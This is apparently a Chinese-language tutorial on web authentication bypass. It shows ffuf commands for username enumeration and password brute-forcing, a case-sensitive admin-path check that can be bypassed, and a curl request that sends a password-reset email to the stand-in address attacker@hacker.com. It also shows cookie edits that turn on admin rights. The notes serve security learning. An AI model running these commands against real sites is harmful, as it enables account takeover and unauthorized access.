声明:
请遵守《中华人民共和国网络安全法》,禁止进行未经授权的渗透测试行为!
本人不提供任何攻击教程及工具,本文仅作研究和学习用途,请勿利用文中的技术资料进行未经授权的测试行为。利用文中所提供的信息对未授权的计算机系统造成的直接或间接后果和损失,由使用者承担。

有多种方式绕过权限验证机制,这些漏洞经常导致用户的数据泄漏

用户名枚举

网站的报错信息是一个很好的渠道用来核对和建立有效用户名列表
如果尝试用假信息进行注册,可能会出现“用户名已存在”的字样,我们可以用这个报错信息来列出有效用户名,可以用ffuf工具配合常见用户名字典来进行快速筛选,指令如下:

1
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://....../signup -mr "username already exists"

其中-w为字典位置,-X为请求方法,-d为上传数据,FUZZ为字典默认值,-H为增加请求头,Content-Type制定数据类型,-u指定要请求的URL,-mr为存在时显示的文本

爆破

爆破攻击是用一个列表的密码或用户名进行自动化尝试,指令如下:

1
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://....../login -fc 200

因为用多个词典,所以定义关键词W1和W2,其中W1代替用户名,W2代替密码,-w来代表词典位置,用逗号分开,-fc参数用来筛选HTTP状态码为200的结果

逻辑缺陷

有时身份验证过程包含逻辑缺陷,逻辑缺陷是应用程序的典型逻辑路径被黑客绕过或操纵,存在于网站的任何角落

例子:
下面的代码展示了检查客户端在检查访问的路径开头是否是/admin,如果是,检测客户端是非是管理员,如果不是/admin开头,展示此页面

1
2
3
4
5
if( url.substr(0,6) === '/admin') {
# Code to check user is an admin
} else {
# View Page
}

因为用了===,对字符串进行了完全匹配,其中包含字母大小写,所以有逻辑缺陷,未授权用户可以请求/adMin来绕过权限验证

例子:
在重置密码时,用户名在POST字段中提交给web服务器,电子邮件地址在查询字符串请求中作为GET字段发送,模拟请求如下:

1
curl 'http://....../customers/reset?email=gabriel%40pochacco.top' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=gabriel'

其中-H标志用来为请求增加额外请求头,将Content-Type设置为application/x-www-form-urlencoded来让服务器知道我们在传输数据

如果密码重置邮箱用PHP变量 $_REQUEST 获取的数据发送,则存在逻辑漏洞,这个变量是一个数组包含了从字符串查询和POST的数据,如果在字符串查询和POST数据中存在相同的关键词名,则优先采用POST的数据,所以我们可以增加POST来控制重置邮箱发送的位置,指令如下:

1
curl 'http://....../customers/reset?email=gabriel%40pochacco.top' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=gabriel&email=attacker@hacker.com'

Cookie篡改

在线会话期间检查和编辑web服务器设置的cookie可能会产生多种结果,例如未经验证的访问、访问其他用户的帐户或提权

纯文本

一些cookies是纯文本的,例如

1
2
Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/

这种情况下我们可以通过更改cookies的内容来提权,指令如下:

1
curl -H "Cookie: logged_in=true; admin=true" http://......

Hashing

一些cookies可能是长字符串的随机值,这些成为哈希值,是原文本的不可逆转换,常见的hash方法有md5,sha-256,sha-512,sha1,我们可以通过CrackStation来查询

加密

加密和hashing类似,但是是可逆的,只支持ASCII字符,常见的加密方式是base32(A-Z and 2-7),base64(a-z, A-Z, 0-9,+, / 和结尾=补位)